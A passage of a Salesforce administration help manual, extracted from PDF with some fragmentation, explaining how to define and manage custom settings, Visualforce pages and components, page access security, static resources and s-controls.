populate the custom settings using a standard Apex or API script run by the subscribing organization after they
have installed the package.
After you create a custom setting, you must also add fields to the custom setting.
See Also:
Custom Settings Overview
Adding Custom Settings Fields
Adding Custom Settings Data
2095
Develop
Customize Application
After you create a custom setting, you can view the details of the custom setting, manage the custom setting, and add fields.
Click Your Name > Setup > Develop > Custom Settings, then click the name of the custom setting you'd like to view. While
viewing a custom setting, you can:
See Also:
Custom Settings Overview
Accessing Custom Settings
Defining Custom Settings
Customize Application
After you define custom settings, you need to add custom fields to them. The custom fields contain the data used by the
custom setting.
2096
Develop
See Also:
Custom Settings Overview
Defining Custom Settings
Adding Custom Settings Data
Customize Application
After defining custom settings and adding fields, populate the fields:
1. Click Your Name > Setup > Develop > Custom Settings.
2. Click Manage next to a custom setting, or from the detail page for a custom setting.
3. Provide or change values for the custom setting.
If you are managing a hierarchy setting, decide where in the permission hierarchy you want to add default data
(organization, profile, or user).
To add default data at the organization level, click New in the Default Organization Level Value section. If data has
already been defined for the organization, you can only edit or delete it.
To add default data at the profile or user level, click New in the lower section of the page, near the Setup Owner.
2097
Develop
Click Edit in the Default Organization Level Value section to change the default data set at the organization level, or
Delete to delete it (this is only for hierarchical custom settings.)
Click View next to the name of an existing set of data to view the data (this is only for hierarchical custom settings.)
Click Edit next to the name of an existing set of data to change the name of the data set or to change the data.
Click Del next to the name of an existing set of data to delete the data set.
See Also:
Custom Settings Overview
Custom Settings Limits
Adding Custom Settings Fields
Adding Custom Settings Data
Customize Application
After you define your custom settings and add fields, you need to populate the fields with data.
You can define one or more data sets. For list custom settings, each data set is named and can be accessed by that name using
Apex, formula fields, and so on.
For custom settings that are hierarchies, the data is accessed based on the access level (user, profile, or organization). The
lowest level is used first, which means if you defined a data set at the user level, unless otherwise specified in your application,
that data is used. For example, you might want to specify different contact numbers for your application: one for the general
user, and one that is only displayed for system administrators.
To add data to custom setting fields:
1. Click Your Name > Setup > Develop > Custom Settings, then click Manage next to a custom setting. Or from the detail
page for a custom setting, click Manage.
2. Click New or Edit next to an existing data set.
3. Add or change data.
For custom settings that are lists:
a. Specify or change the name for the data set. This name is used by Apex, formula fields, and so on.
b. Enter or change data for all fields.
c. Click Save.
For custom settings that are hierarchies:
2098
Develop
Visualforce Overview
a. For the default organization level values, enter or change the data for the fields. The default organization location is
automatically populated.
b. For profile or user level values, select either Profile or User from the Location picklist. Enter the name of the
profile or user, or use the lookup dialog search. Then enter or change the data for the fields.
c. Click Save.
See Also:
Custom Settings Overview
Defining Custom Settings
Viewing Custom Settings
Managing Custom Settings Data
Adding Custom Settings Fields
Customize Application
After you add fields and add data to those fields, you can view the data.
1. Click Your Name > Setup > Develop > Custom Settings, then click Manage next to a custom setting that has already
been defined. Or from the detail page for a custom setting, click Manage.
2. Click View next to the data set you want to view (this is only for hierarchical custom settings).
See Also:
Custom Settings Overview
Defining Custom Settings
Adding Custom Settings Fields
Adding Custom Settings Data
Visualforce Overview
Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions
Visualforce uses a tag-based markup language to give developers a more powerful way to build applications and customize the
Salesforce user interface. With Visualforce you can:
2099
Develop
Visualforce Overview
Create custom user interfaces that easily leverage standard Salesforce styles
Create custom user interfaces that completely replace the standard Salesforce styles
Build wizards and other navigation patterns that use data-specific rules for optimal, efficient application interaction
Visualforce comes with a rich component library that allows you to quickly build pages without having to create a lot of
functionality yourself. In the Visualforce markup language, each tag corresponds to a coarse or fine-grained component, such
as a section of a page, a related list, or a field. The components can either be controlled by the same logic that is used in
standard Salesforce pages, or developers can associate their own logic with a custom controller or controller extension written
in Apex.
2100
Develop
See Also:
Enabling Development Mode
Defining Visualforce Pages
Managing Visualforce Pages
Viewing and Editing Visualforce Pages
Creating Visualforce Tabs
What is a Static Resource?
What is a Custom Component?
Developer's Guide: Visualforce Developer's Guide
S-Controls
HTML, XML
Language style
Tag markup
Procedural code
No
No
Data binding
Yes
No
Yes
Stylesheet inheritance
2101
Develop
Visualforce Pages
S-Controls
Yes, by default
Performance
Page container
Native
In an iFrame
Customize Application
Although you can view and edit Visualforce page definitions from the setup area by clicking Your Name > Setup > Develop
> Pages, enabling Visualforce development mode is the best way to build Visualforce pages. Development mode provides you
with:
A special development footer on every Visualforce page that includes the pages view state, any associated controller, a link
to the component reference documentation, and a page markup editor that offers highlighting, find-replace functionality,
and auto-suggest for component tag and attribute names.
The ability to define new Visualforce pages just by entering a unique URL.
Error messages that include more detailed stack traces than what standard users receive.
2102
Develop
4. Click Save.
See Also:
Visualforce Overview
Defining Visualforce Pages
Developer's Guide: Visualforce Developer's Guide
You can create Visualforce pages either by using Visualforce development mode, or by creating pages in Setup.
To create a page using Visualforce developer mode:
1. In your browser, enter a URL in the following form: https://mySalesforceInstance/apex/nameOfNewPage,
where the value of mySalesforceInstance is the host name of your Salesforce instance (for example,
na3.salesforce.com) and the value of nameOfNewPage is the value you want to give to the Name field on your page
definition.
For example, if you want to create a page called HelloWorld and your Salesforce organization uses the
na3.salesforce.com instance, enter https://na3.salesforce.com/apex/HelloWorld.
Note: Page names cannot be longer than 40 characters.
2. Because the page does not yet exist, you are directed to an intermediary page from which you can create your new page.
Click Create page nameOfNewPage to create the new page. Both the page Name and Label are assigned the
nameOfNewPage value you specified in the URL.
To create pages in Setup:
1. Click Your Name > Setup > Develop > Pages.
2. Click New.
3. In the Name text box, enter the text that should appear in the URL as the page name. This name can contain only underscores
and alphanumeric characters, and must be unique in your organization. It must begin with a letter, not include spaces, not
end with an underscore, and not contain two consecutive underscores.
4. In the Label text box, enter the text that should be used to identify the page in Setup tools, such as when defining custom
tabs, or overriding standard buttons.
5. In the Body text box, enter Visualforce markup for the page. A single page can hold up to 1 MB of text, or approximately
1,000,000 characters.
2103
Develop
6. Click Version Settings to specify the version of Visualforce and the API used with this page. If your organization has
installed managed packages from the AppExchange, you can also specify which version of each managed package to use.
Generally, you should use the default values for all versions. This associates the page with the most recent version of
Visualforce and the API, as well as each managed package. You can specify an older version of Visualforce and the API
to maintain specific behavior. You can specify an older version of a managed package if you want to access package
components or functionality that differs from the most recent package version.
7. Click Save to save your changes and return to the Visualforce detail screen, or click Quick Save to save your changes and
continue editing your page. Your Visualforce markup must be valid before you can save your page.
Note: Though your Visualforce markup can be edited from this part of setup, to see the results of your edits you
have to navigate to the URL of your page. For that reason, most developers prefer to work with development mode
enabled so they can view and edit pages in a single window.
Once your page has been created, you can access it using a URL in the following form:
http://mySalesforceInstance/apex/nameOfNewPage, where the value of mySalesforceInstance is the host name
of your Salesforce instance (for example, na3.salesforce.com) and the value of nameOfNewPage is the value of the Name
field on your page definition.
See Also:
Visualforce Overview
Enabling Development Mode
Managing Visualforce Pages
Viewing and Editing Visualforce Pages
Creating Visualforce Tabs
What is a Static Resource?
Developer's Guide: Visualforce Developer's Guide
To aid backwards-compatibility, each Visualforce page is saved with version settings for the specified version of the API as
well as the specific version of Visualforce. If the Visualforce page references installed managed packages, the version settings
for each managed package referenced by the Visualforce component is saved too. This ensures that as Visualforce, the API,
and the components in managed packages evolve in subsequent versions, a page is still bound to versions with specific, known
behavior.
A package version is a number that identifies the set of components uploaded in a package. The version number has the format
majorNumber.minorNumber.patchNumber (for example, 2.1.3). The major and minor numbers increase to a chosen value
during every major release. The patchNumber is generated and updated only for a patch release. Publishers can use package
2104
Develop
versions to evolve the components in their managed packages gracefully by releasing subsequent package versions without
breaking existing customer integrations using the package.
To set the Salesforce API and Visualforce version for a Visualforce page:
1. Edit a Visualforce page and click Version Settings.
Note: You can only access the version settings for a page if you edit a page by clicking Your Name > Setup >
Develop > Pages. You cannot access them if you edit a page using Developer Mode.
2. Select the Version of the Salesforce API. This is also the version of Visualforce used with the page.
3. Click Save.
To configure the package version settings for a Visualforce page:
1. Edit a Visualforce page and click Version Settings.
2. Select a Version for each managed package referenced by the Visualforce page. This version of the managed package will
continue to be used by the Visualforce page if later versions of the managed package are installed, unless you manually
update the version setting. To add an installed managed package to the settings list, select a package from the list of available
packages. The list is only displayed if you have an installed managed package that is not already associated with the page
or component.
3. Click Save.
Note the following when working with package version settings:
If you save a Visualforce page that references a managed package without specifying a version of the managed package,
the Visualforce page is associated with the latest installed version of the managed package by default.
You cannot Remove a Visualforce page's version setting for a managed package if the package is referenced by the Visualforce
page. Use Show Dependencies to find where the managed package is referenced.
See Also:
Defining Visualforce Pages
Enabling Development Mode
Managing Visualforce Pages
Viewing and Editing Visualforce Pages
Creating Visualforce Tabs
What is a Static Resource?
Managing Packages
Developer's Guide: Visualforce Developer's Guide
2105
Develop
Customize Application
After creating Visualforce pages, you can customize, edit, and delete them. Click Your Name > Setup > Develop > Pages
to display the Pages list page, which shows all the Visualforce pages defined for your organization. From the Pages list page,
you can:
See Also:
Visualforce Overview
Viewing and Editing Visualforce Pages
Creating Visualforce Tabs
Visualforce Page Security Overview
Developer's Guide: Visualforce Developer's Guide
You can specify which users can execute a particular Visualforce page based on their profile or an associated permission set.
2106
Develop
Permission for a Visualforce page is checked at the top level only. Once users can access a page, they can execute all Apex
that's associated with the page. This includes:
The controller for the page and any Apex classes called from the controller class
Any extension classes for the page and any Apex called from an extension
Any Apex classes associated with custom components within the page
Any classes associated with the page through the use of apex:include or apex:composition
For example, if page A depends on a controller that calls an Apex class B, and a user has access only to page A but not class
B, the user can still execute the code in class A. Likewise, if a Visualforce page uses a custom component with an associated
controller, security is only checked for the controller associated with the page.
You can set Visualforce page security from:
If users have the Customize Application permission, they can access all Visualforce pages in the associated organization.
However, they may still have restrictions related to Apex classes. The Customize Application permission doesn't allow users
to ignore those restrictions in a Visualforce page unless they have Visualforce page access.
Also, to include Apex in a page, users must have the Author Apex permission or access to the Apex class.
Note: Organizations with Force.com sites or Customer Portals can enable Visualforce pages either by assigning them
to user profiles or by enabling them for the entire site.
See Also:
Managing Visualforce Pages
Apex Class Security Overview
Manage Users
AND
Customize Application
2107
Develop
4. Select the profiles that you want to disable from the Enabled Profiles list and click Remove.
5. Click Save.
See Also:
Visualforce Page Security Overview
Manage Users
1.
2.
3.
4.
Click Your Name > Setup > Manage Users > Profiles.
Click the name of the profile you want to modify.
Go to the Visualforce Page Access page or related list and click Edit.
Select the Visualforce pages that you want to enable from the Available Visualforce Pages list and click Add, or select the
Visualforce pages that you want to disable from the Enabled Visualforce Pages list and click Remove.
5. Click Save.
See Also:
Visualforce Page Security Overview
User Profiles Overview
1.
2.
3.
4.
Manage Users
Click Your Name > Setup > Manage Users > Permission Sets.
Select a permission set.
Click Visualforce Page Access.
Click Edit.
2108
Develop
5. Select the Visualforce pages that you want to enable from the Available Visualforce Pages list and click Add, or select the
Visualforce pages that you want to disable from the Enabled Visualforce Pages list and click Remove.
6. Click Save.
See Also:
Visualforce Page Security Overview
Permission Sets Overview
Customize Application
Author Apex
Click Your Name > Setup > Develop > Pages and click the name of a Visualforce page to view its details, including when it
was created, when it was last modified, and the Visualforce markup associated with the page.
From the detail page, you can do any of the following:
To aid backwards-compatibility, pages are stored with the version settings for a specified version of Visualforce and the API.
If the page references components, such as a custom object, in an installed managed package, the version settings for each
managed package referenced by the page are saved too. If the Visualforce page is contained in an installed managed package,
the Installed Package indicates the package name. The Available in Package Versions field gives the range of
package versions in which the Visualforce page is available. The first version number in the range is the first installed package
version that contains the Visualforce page.
2109
Develop
Click the tab with the name of the page to open the page editor to view and edit the associated Visualforce markup without
having to return to the Setup area. Changes display immediately after you save the page.
If the page uses a custom controller, the name of the controller class is available as a tab. Click the tab to edit the associated
Apex class.
If the page uses any controller extensions, the names of each extension are available as tabs. Clicking on the tab lets you
edit the associated Apex class.
If enabled in Setup, the View State tab displays information about the items contributing to the view state of the Visualforce
page.
Click Save (just above the edit pane) to save your changes and refresh the content of the page.
Click Component Reference to view the documentation for all supported Visualforce components.
Click Where is this used? to view a list of all items in Salesforce that reference the page, such as custom tabs, controllers,
or other pages.
Click the Collapse button ( ) to collapse the development mode footer panel. Click the Expand button ( ) to toggle it
back open.
Click the Disable Development Mode button ( ) to turn off development mode entirely. Development mode remains
off until you enable it again in Your Name > Setup > My Personal Information > Personal Information.
See Also:
Visualforce Overview
Enabling Development Mode
Defining Visualforce Pages
Managing Visualforce Pages
Creating Visualforce Tabs
Managing Version Settings for Visualforce Pages
Managing Packages
About Package Versions
Developer's Guide: Visualforce Developer's Guide
If you are in development mode and not in the same namespace as the page, you will see the exception message, the exception
type, and a notification that the developer has been notified by email.
2110
Develop
If you are the developer and in the same namespace as the page, and you are not in development mode, you will see an exception
message. You may also see a message indicating that the developer has been notified. If you are in development mode, you
will see the exception message, the exception type, and the Apex stack trace.
Visualforce is available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions
Customize Application
Author Apex
When editing Visualforce or Apex, either in the Visualforce development mode footer or from Setup, an editor is available
with the following functionality:
Syntax highlighting
The editor automatically applies syntax highlighting for keywords and all functions and operators.
Search (
Search enables you to search for text within the current page, class, or trigger. To use search, enter a string in the Search
textbox and click Find Next.
To replace a found search string with another string, enter the new string in the Replace textbox and click replace
to replace just that instance, or Replace All to replace that instance and all other instances of the search string that
occur in the page, class, or trigger.
To make the search operation case sensitive, select the Match Case option.
To use a regular expression as your search string, select the Regular Expressions option. The regular expressions
follow Javascript's regular expression rules. A search using regular expressions can find strings that wrap over more
than one line.
If you use the replace operation with a string found by a regular expression, the replace operation can also bind regular
expression group variables ($1, $2, and so on) from the found search string. For example, to replace an <H1> tag
with an <H2> tag and keep all the attributes on the original <H1> intact, search for <H1(\s+)(.*)> and replace it
with <H2$1$2>.
Go to line (
This button allows you to highlight a specified line number. If the line is not currently visible, the editor scrolls to that
line.
2111
Develop
Undo (
) and Redo (
Use undo to reverse an editing action and redo to recreate an editing action that was undone.
Font size
Select a font size from the drop-down list to control the size of the characters displayed in the editor.
Line and column position
The line and column position of the cursor is displayed in the status bar at the bottom of the editor. This can be used
with go to line (
Removes a tab
CTRL+f
Opens the search dialog or searches for the next occurrence of the current search
CTRL+r
Opens the search dialog or replaces the next occurrence of the current search with the specified replacement string
CTRL+g
See Also:
Core JavaScript 1.5 Guide:Regular Expressions
Viewing and Editing Visualforce Pages
2112
Develop
Customize Application
You can build Visualforce tabs so that users can access Visualforce pages from within Salesforce.
To create a Visualforce tab:
1. Click Your Name > Setup > Create > Tabs.
2. Click New in the Visualforce Tabs related list.
3. Select the Visualforce page to display in the custom tab. If you have not already created the Visualforce page, click Create
a new page now and follow the instructions in Defining Visualforce Pages on page 2103.
4. Specify the label that displays on the tab.
5. Click the Tab Style lookup icon to display the Tab Style Selector.
If a tab style is already in use, a number enclosed in brackets [] appears next to the tab style name. Hover your mouse over
the style name to view the tabs that use the style. Click Hide styles which are used on other tabs to filter
this list.
6. Click a tab style to select the color scheme and icon for the custom tab.
Optionally, click Create your own style on the Tab Style Selector dialog if you want to create a custom tab style and your
organization has access to the Documents tab. To create your own tab style:
a. Click the Color lookup icon to display the color selection dialog and click a color to select it.
b. Click Insert an Image, select the document folder, and select the image you want to use.
Alternatively, click Search in Documents, enter a search term, and click Go! to find a document file name that includes
your search term.
Note: This dialog only lists files in document folders that are under 20 KB and have the Externally Available
checkbox selected in the document property settings. For more information, see uploading images and document
property settings. If the document used for the icon is later deleted, Salesforce replaces it with a default multicolor
block icon (
).
c. Select a file and click OK. The New Custom Tab wizard reappears.
7. Optionally, select the Mobile Ready checkbox to indicate that the Visualforce page displays and functions properly in a
mobile web browser.
Selecting the checkbox adds the tab to the list of available tabs for your mobile configurations. See Managing Mobile Tabs
on page 971. Review the considerations for building Visualforce pages that are compatible with mobile browsers before
mobilizing a Visualforce tab.
Note that the Mobile Ready checkbox is only visible if Salesforce Mobile is enabled for your organization.
2113
Develop
8. Optionally, choose a custom link to use as the introductory splash page when users initially click the tab. For information
about creating a custom link to use as a splash page for your custom tab, see Defining Custom Buttons and Links on page
1254. Note that splash pages do not display in the mobile application. Avoid using a splash page if you plan to mobilize the
Visualforce tab.
9. Enter a description of the tab, if desired, and click Next.
10. Choose the user profiles for which the new custom tab will be available:
Select Apply one tab visibility to all profiles and choose Default On, Default Off, or Tab Hidden from the drop-down
list.
Alternatively, select Apply a different tab visibility for each profile and choose Default On, Default Off, or Tab
Hidden from the drop-down list for each profile.
11. Specify the custom apps that should include the new tab. See What is an App? on page 1718 for information on custom
apps.
12. Check Append tab to users' existing personal customizations to add the new tab to your users customized
display settings if they have customized their personal display.
13. Click Save.
See Also:
Visualforce Overview
Defining Visualforce Pages
Developer's Guide: Visualforce Developer's Guide
Static resources allow you to upload content that you can reference in a Visualforce page, including archives (such as .zip and
.jar files), images, stylesheets, JavaScript, and other files.
Using a static resource is preferable to uploading a file to the Documents tab because:
You can package a collection of related files into a directory hierarchy and upload that hierarchy as a .zip or .jar archive.
You can reference a static resource in page markup by name using the $Resource global variable instead of hard-coding
document IDs:
To reference a stand-alone file, use $Resource.<resource_name> as a merge field, where <resource_name> is
the name you specified when you uploaded the resource. For example:
<apex:image url="{!$Resource.TestImage}" width="50" height="50"/>
or
<apex:includeScript value="{!$Resource.MyJavascriptFile}"/>
2114
Develop
To reference a file in an archive, use the URLFOR function. Specify the static resource name that you provided when
you uploaded the archive with the first parameter, and the path to the desired file within the archive with the second.
For example:
<apex:image url="{!URLFOR($Resource.TestZip, 'images/Bluehills.jpg')}"
width="50" height="50"/>
or
<apex:includeScript value="{!URLFOR($Resource.LibraryJS, '/base/subdir/file.js')}"/>
You can use relative paths in files in static resource archives to refer to other content within the archive. For example, in
your CSS file, namedstyles.css, you have the following style:
table { background-image: img/testimage.gif }
When you use that CSS in a Visualforce page, you need to make sure the CSS file can find the image. To do that, create
an archive (such as a zip file) that includes styles.css and img/testimage.gif. Make sure that the path structure
is preserved in the archive. Then upload the archive file as a static resource named style_resources. Then, in your page,
add the following component:
<apex:stylesheet value="{!URLFOR($Resource.style_resources, 'styles.css')}"/>
Since the static resource contains both the stylesheet and the image, the relative path in the stylesheet resolves and the
image is displayed.
A single static resource can be up to 5 MB in size, and an organization can have up to 250 MB of static resources, total. Static
resources apply to your organization's quota of data storage.
See Also:
Defining Static Resources
Managing Static Resources
Viewing and Editing Static Resources
Visualforce Overview
Developer's Guide: Visualforce Developer's Guide
Customize Application
2115
Develop
1. Click Your Name > Setup > Develop > Static Resources.
2. Click New Static Resource.
3. In the Name text box, enter the text that should be used to identify the resource in Visualforce markup. This name can
contain only underscores and alphanumeric characters, and must be unique in your organization. It must begin with a
letter, not include spaces, not end with an underscore, and not contain two consecutive underscores.
Note: If you reference a static resource in Visualforce markup and then change the name of the resource, the
Visualforce markup is updated to reflect that change.
4. In the Description text area, specify an optional description of the resource.
5. Next to the File text box, click Browse to navigate to a local copy of the resource that you want to upload.
A single static resource can be up to 5 MB in size, and an organization can have up to 250 MB of static resources, total.
6. Set the Cache Control:
Private specifies that the static resource data cached on the Salesforce server shouldn't be shared with other users.
The static resource is only stored in cache for the current user's session.
Note: Cache settings on static resources are set to private when accessed via a Force.com site whose guest user's
profile has restrictions based on IP range or login hours. Sites with guest user profile restrictions cache static
resources only within the browser. Also, if a previously unrestricted site becomes restricted, it can take up to
45 days for the static resources to expire from the Salesforce cache and any intermediate caches.
Public specifies that the static resource data cached on the Salesforce server be shared with other users in your
organization for faster load times.
The W3C specifications on Header Field Definitions has more technical information about cache-control.
Note: This feature only works for Sitesenabled organizations that use the static resource.
7. Click Save.
Caution: If you are using WinZip be sure to install the most recent version. Older versions of WinZip may cause a
loss of data.
See Also:
What is a Static Resource?
Managing Static Resources
Viewing and Editing Static Resources
Visualforce Overview
Developer's Guide: Visualforce Developer's Guide
2116
Develop
Customize Application
After creating static resources, you can customize, edit, and delete them. Click Your Name > Setup > Develop > Static
Resources to display the Static Resources list page, which shows the list of resources defined for your organization. From this
page you can:
See Also:
What is a Static Resource?
Defining Static Resources
Viewing and Editing Static Resources
Visualforce Overview
Developer's Guide: Visualforce Developer's Guide
Customize Application
Click Your Name > Setup > Develop > Static Resources and click the name of a resource to view its details, including its
MIME type, the size of the resource in bytes, when it was created, and when it was last modified.
2117
Develop
See Also:
What is a Static Resource?
Defining Static Resources
Managing Static Resources
Visualforce Overview
Developer's Guide: Visualforce Developer's Guide
Salesforce provides a library of standard, pre-built components, such as <apex:relatedList> and <apex:dataTable>,
that can be used to develop Visualforce pages. In addition, you can build your own custom components to augment this library.
A custom component encapsulates a common design pattern that can be reused in one or more Visualforce pages. It consists
of:
For example, suppose you want to create a photo album using Visualforce pages. Each photo in the album has its own border
color, and a text caption that displays beneath it. Rather than repeating the Visualforce markup required for displaying every
photo in the album, you can define a custom component named singlePhoto that has attributes for image, border color,
and caption, and then uses those attributes to display the image on the page. Once defined, every Visualforce page in your
organization can leverage the singlePhoto custom component in the same way as a page can leverage standard components
such as <apex:dataTable> or <apex:relatedList>.
Unlike page templates, which also enable developers to reuse markup, custom components provide more power and flexibility
because:
Custom components allow developers to define attributes that can be passed in to each component. The value of an attribute
can then change the way the markup is displayed on the final page, and the controller-based logic that executes for that
instance of the component. This behavior differs from that of templates, which do not have a way of passing information
from the page that uses a template to the template's definition itself.
2118
Develop
Custom component descriptions are displayed in the application's component reference dialog alongside standard component
descriptions. Template descriptions, on the other hand, can only be referenced through the Setup area of Salesforce because
they are defined as pages.
See Also:
Defining Custom Components
Managing Custom Components
Viewing and Editing Custom Components
Developer's Guide: Visualforce Developer's Guide
Developer's Guide: Force.com Apex Code Developer's Guide
Customize Application
5.
6.
7.
8.
In Salesforce click Your Name > Setup > Develop > Components.
Click New.
In the Label text box, enter the text that should be used to identify the custom component in Setup tools.
In the Name text box, enter the text that should identify this custom component in Visualforce markup. This name can
contain only underscores and alphanumeric characters, and must be unique in your organization. It must begin with a
letter, not include spaces, not end with an underscore, and not contain two consecutive underscores.
In the Description text box, enter a text description of the custom component. This description appears in the component
reference with other standard component descriptions as soon as you click Save.
In the Body text box, enter Visualforce markup for the custom component definition. A single component can hold up to
1 MB of text, or approximately 1,000,000 characters.
Click Version Settings to specify the version of Visualforce and the API used with this component. If your organization
has installed managed packages from the AppExchange, you can also specify which version of each managed package to
use. Generally, you should use the default values for all versions. This associates the component with the most recent
version of Visualforce and the API, as well as each managed package. You can specify an older version of Visualforce and
the API to maintain specific behavior. You can specify an older version of a managed package if you want to access package
components or functionality that differs from the most recent package version.
Click Save to save your changes and view the custom component's detail screen, or click Quick Save to save your changes
and continue editing your component. Your Visualforce markup must be valid before you can save your component.
Note: You can also create a custom component in Visualforce development mode by adding a reference to a custom
component that does not yet exist to Visualforce page markup. After saving the markup, a quick fix link appears that
allows you to create a new component definition (including any specified attributes) based on the name that you
provided for the component.
2119
Develop
For example, if you have not yet defined a custom component named myNewComponent and insert
<c:myNewComponent myNewAttribute="foo"/> into existing page markup, after clicking Save a quick fix
allows you to define a new custom component named myNewComponent with the following default definition:
<apex:component>
<apex:attribute name="myattribute" type="String" description="TODO: Describe me"/>
<!-- Begin Default Content REMOVE THIS -->
<h1>Congratulations</h1>
This is your new Component: mynewcomponent
<!-- End Default Content REMOVE THIS -->
</apex:component>
You can modify this definition in the Setup area by clicking Your Name > Setup > Develop > Components and then
clicking Edit next to the myNewComponent custom component.
See Also:
What is a Custom Component?
Managing Custom Components
Viewing and Editing Custom Components
Managing Version Settings for Custom Components
Developer's Guide: Visualforce Developer's Guide
To aid backwards-compatibility, each Visualforce component is saved with version settings for the specified version of the
API as well as the specific version of Visualforce. If the Visualforce component references installed managed packages, the
version settings for each managed package referenced by the Visualforce component is saved too. This ensures that as Visualforce,
the API, and the components in managed packages evolve in subsequent versions, a component is still bound to versions with
specific, known behavior.
A package version is a number that identifies the set of components uploaded in a package. The version number has the format
majorNumber.minorNumber.patchNumber (for example, 2.1.3). The major and minor numbers increase to a chosen value
during every major release. The patchNumber is generated and updated only for a patch release.
Note: Package components and custom component are distinct concepts. A package is comprised of many components,
such as custom objects, Apex classes and triggers, and custom components.
Publishers can use package versions to evolve the components in their managed packages gracefully by releasing subsequent
package versions without breaking existing customer integrations using the package.
2120
Develop
To set the Salesforce API and Visualforce version for a custom component:
1. Edit a custom component and click Version Settings.
Note: You can only access the version settings for a custom component if you edit a custom component by clicking
Your Name > Setup > Develop > Components. You cannot access them if you edit a custom component using
Developer Mode.
2. Select the Version of the Salesforce API. This is also the version of Visualforce used with the custom component.
3. Click Save.
To configure the package version settings for a custom component:
1. Edit a custom component and click Version Settings.
2. Select a Version for each managed package referenced by the custom component. This version of the managed package
will continue to be used by the custom component if later versions of the managed package are installed, unless you manually
update the version setting. To add an installed managed package to the settings list, select a package from the list of available
packages. The list is only displayed if you have an installed managed package that is not already associated with the page
or component.
3. Click Save.
Note the following when working with package version settings:
If you save a custom component that references a managed package without specifying a version of the managed package,
the custom component is associated with the latest installed version of the managed package by default.
You cannot Remove a custom component's version setting for a managed package if the package is referenced by the
custom component. Use Show Dependencies to find where the managed package is referenced.
See Also:
What is a Custom Component?
Managing Custom Components
Viewing and Editing Custom Components
Managing Packages
About Package Versions
Developer's Guide: Visualforce Developer's Guide
2121
Develop
Customize Application
After creating custom components, you can view, edit and delete them. Click Your Name > Setup > Develop > Components
to display the Components list page, which shows the list of custom components defined for your organization. From this
page you can:
icon indicates that a Visualforce custom component is in an installed managed package. You cannot
edit or delete a Visualforce custom component in a managed package. A icon indicates that a Visualforce custom
component in a previously released managed package will be deleted on the next package upload. You can choose
to undelete the Visualforce custom component through the package detail page.
See Also:
What is a Custom Component?
Defining Custom Components
Viewing and Editing Custom Components
Developer's Guide: Visualforce Developer's Guide
2122
Develop
Click Your Name > Setup > Develop > Components and click the name of a custom component to view its definition.
From the detail page, you can do any of the following:
To aid backwards-compatibility, custom components are stored with the version settings for a specified version of Visualforce
and the API. If the page references package components, such as a custom object, in an installed managed package, the version
settings for each managed package referenced by the custom component are saved too.
Once your component has been created, you can view it at
http://mySalesforceInstance/apexcomponent/nameOfNewComponent, where the value of mySalesforceInstance
is the host name of your Salesforce instance (for example, na3.salesforce.com) and the value of nameOfNewComponent
is the value of the Name field on the custom component definition.
The component is displayed as if it is a Visualforce page. Consequently, if your component relies on attributes or on the content
of the component tag's body, this URL may generate results that you do not expect. To more accurately test a custom component,
add it to a Visualforce page and then view the page.
See Also:
What is a Custom Component?
Defining Custom Components
Managing Custom Components
Managing Version Settings for Custom Components
Developer's Guide: Visualforce Developer's Guide
2123
Develop
Customize Application
Important: S-controls have been superseded by Visualforce pages. After March 2010 organizations that have never
created s-controls, as well as new organizations, won't be allowed to create them. Existing s-controls will remain
unaffected, and can still be edited.
The custom s-control library is a place where you can store and upload content for use in many areas within Salesforce such
as: custom links, Web tabs, custom buttons, and dashboards. S-controls provide a flexible, open means of extending the
Salesforce user interface, including the ability to create and display your own custom data forms.
An s-control can contain any type of content that you can display or run in a browser, for example, a Java applet, an ActiveX
control, an Excel file, or a custom HTML Web form.
To define an s-control:
1. Click Your Name > Setup > Develop > S-Controls.
2. Click New Custom S-Control, or click Edit to change an existing custom s-control.
3. Enter the following attributes:
Attribute Name
Description
Label
S-Control Name
The unique name for the s-control. This name can contain only underscores and alphanumeric
characters, and must be unique in your organization. It must begin with a letter, not include
spaces, not end with an underscore, and not contain two consecutive underscores.
Type
Description
2124
Develop
Attribute Name
Description
Content
Enter the content or source for your s-control. You can enter up to 1 million characters in
this field. The HTML code defines exactly how your users should view the custom s-control.
If you are building a formula in the Advanced Formula tab or for approvals or rules, such
as workflow, validation, assignment, auto-response, or escalation, click Insert Field,
choose a field, and click Insert.
To create a basic formula that passes specific Salesforce data, select the Simple Formula
tab, choose the field type in the Select Field Type drop-down list, and choose one
of the fields listed in the Insert Field drop-down list.
Tip: Build cross-object formulas to span to related objects and reference merge
fields on those objects.
To insert an operator, choose the appropriate operator icon from the Insert Operator
drop-down list. Use the examples in Operators and Functions on page 1203.
To insert a function, double-click its name in the list, or select it and click Insert Selected
Function. To filter the list of functions, choose a category from the Functions
drop-down list. Select a function and click Help on this function to view a description
and examples of formulas using that function.
To reference a file that you uploaded in the Filename field as part of the custom s-control,
select Custom S-Control from the Select Field Type drop-down list, and choose
Custom S-Control URL to get the merge field for it. For a Java applet, you can also use
the {!Scontrol_JavaCodebase} merge field and the {!Scontrol_JavaArchive}
merge field.
To insert activity merge fields, select Event or Task from the Select Field Type
drop-down list.
Tip: Internet standards require special encoding for URLs. Salesforce automatically
encodes the text from any merge field you insert into a link. Encode any additional
text in your link manually. For example, to generate the following URL:
http://www.google.com/search?q={!user.name} Steve Mark 50%
Salesforce automatically strips double quotes from URLs when the Content
Source is URL. If you need to use double quotes, encode them manually. For
example, to generate the URL
http://www.google.com/search?q="salesforce+foundation", use
this content:
http://www.google.com/search?q=%22salesforce+foundation%22.
Filename
Upload a file to display when you add this custom s-control to a custom link. The file can
contain a Java applet, Active-X control, or any other type of content you want. This option
only applies to HTML s-controls.
2125
Develop
Attribute Name
Description
Prebuild In Page
This option keeps the s-control in memory, which may improve performance when the page
is reloaded because the s-control does not have to be reloaded as well. This option only applies
to HTML s-controls.
Encoding
The default encoding setting is Unicode (UTF-8). Change it if you are passing information
to a URL that requires data in a different format. This option is available when you select
URL for the Type.
4. Optionally, click Check Syntax to validate all Salesforce merge fields and functions.
5. Click Save when you are finished. Alternatively, click Quick Save to save and continue editing.
Note: If you have a namespace prefix and your s-control references merge fields without their namespace prefix,
Salesforce automatically prepends them with the your namespace prefix.
6. Create a custom button or link to display the custom s-control to your users. See Defining Custom Buttons and Links on
page 1254. Alternatively, create a Web tab using the custom s-control, add the s-control to a page layout, or add the s-control
to a dashboard. You can also use an s-control as online help content for a custom object. For instructions on creating
object-level help, see Defining Object-Level Help on page 1609.
See Also:
Useful S-Controls
Tips on Building S-Controls
Understanding Global Variables
Viewing and Editing S-Controls
Deleting Custom S-Controls
About S-Controls
